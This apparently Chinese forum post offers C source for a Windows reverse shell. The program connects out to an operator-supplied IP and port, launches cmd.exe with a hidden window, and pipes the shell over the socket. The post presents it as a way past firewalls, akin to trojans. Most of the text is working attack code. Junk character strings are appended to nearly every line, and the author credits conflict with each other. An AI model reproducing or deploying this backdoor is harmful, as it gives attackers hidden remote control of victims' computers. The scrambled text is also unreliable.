Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 Zb=NcEPGy  
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/* ============================== Qw2`@P8W  
Rebound port in Windows NT )).=MTk  
By wind,2006/7 )&_bY~
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===============================*/ SX"|~Pi(  
#include 
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#include B-N//ef}  
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#pragma comment(lib,"wsock32.lib") > f X^NX  
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void OutputShell(); (G>su  
SOCKET sClient; HNS^:XR  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [<f2h-V$  
*fc8M(]&d  
void main(int argc,char **argv) yZ6WbI8n  
{ k_]'?f7Z  
WSADATA stWsaData; S.`y%t.GP  
int nRet; 2*V%S/cck  
SOCKADDR_IN stSaiClient,stSaiServer; +h"i6`g  
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if(argc != 3) gGvL6Fu  
{ $a~  
printf("Useage:\n\rRebound DestIP DestPort\n"); N9M}H#  
return; #a=]h}&1?  
} *,G<X^  
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WSAStartup(MAKEWORD(2,2),&stWsaData); f?.VVlD  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RL4|!Hz
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stSaiClient.sin_family = AF_INET; >P j#?j*Y  
stSaiClient.sin_port = htons(0); |_p7vl"  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); T3oFgzoO  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <~uzHg%Y  
{ sC\?{B0r  
printf("Bind Socket Failed!\n"); WDghlC6g!l  
return; L-E &m*%  
} F}l3\uC]  
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stSaiServer.sin_family = AF_INET;
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9ad)=3A&L  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 1oO(;--u_  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) }}k%.Qb  
{ x~}&t+FK  
printf("Connect Error!"); x} =,'Ko}3  
return; wp}Q4I
  
} h<?Px"& J  
OutputShell(); k:?)0Uh%^  
} QaO9-:]eN  
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void OutputShell() u|wl;+.  
{ $MgO)bH  
char szBuff[1024]; MRz f#o<H  
SECURITY_ATTRIBUTES stSecurityAttributes; I@m(}  
OSVERSIONINFO stOsversionInfo;
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; c=tbl|Cq  
STARTUPINFO stStartupInfo; ,K}"o~z  
char *szShell; fB<Qs.T  
PROCESS_INFORMATION stProcessInformation; O8#]7\)  
unsigned long lBytesRead; t"Du  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^E/6vG  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); $A~aNI  
stSecurityAttributes.lpSecurityDescriptor = 0;
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stSecurityAttributes.bInheritHandle = TRUE; &V axv$v}  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); uzQj+Po  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); JG^GEJ  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); P'B|s/)  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U~BR8]=G  
stStartupInfo.wShowWindow = SW_HIDE; rYt|[Pk  
stStartupInfo.hStdInput = hReadPipe; kO`!!M[Oo  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; x_O:IK.>  
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GetVersionEx(&stOsversionInfo); uy2~<)  
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switch(stOsversionInfo.dwPlatformId) a=ZVKb  
{ {w3<dfJ  
case 1: J;XO1}9  
szShell = "command.com"; kJB:=iq/x$  
break; .7 j#F  
default: uDG>m7(}/h  
szShell = "cmd.exe"; ZL0Vx6Ph  
break; 38-kl,Vw  
} @>VX]Qe^X  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); e%:vLE 9  
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send(sClient,szMsg,77,0); D@X"1X!F`G  
while(1) ;C=d( pY  
{ -}xK> ["  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); mW)kWuOO  
if(lBytesRead) 3BK 8{/  
{ x2fqfrr_]  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); "PTEt{qn  
send(sClient,szBuff,lBytesRead,0); SD~4CtlfI  
} ~b*|V  
else ~a V5  
{ zE8_3UC  
lBytesRead=recv(sClient,szBuff,1024,0); 0u"j^v  
if(lBytesRead<=0) break; tol-PJS}  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); q@S\R 7R  
} \5N\NN @J  
} ,e 7 ~G  
}t(5n$go6  
return; ;K l'[~z  
}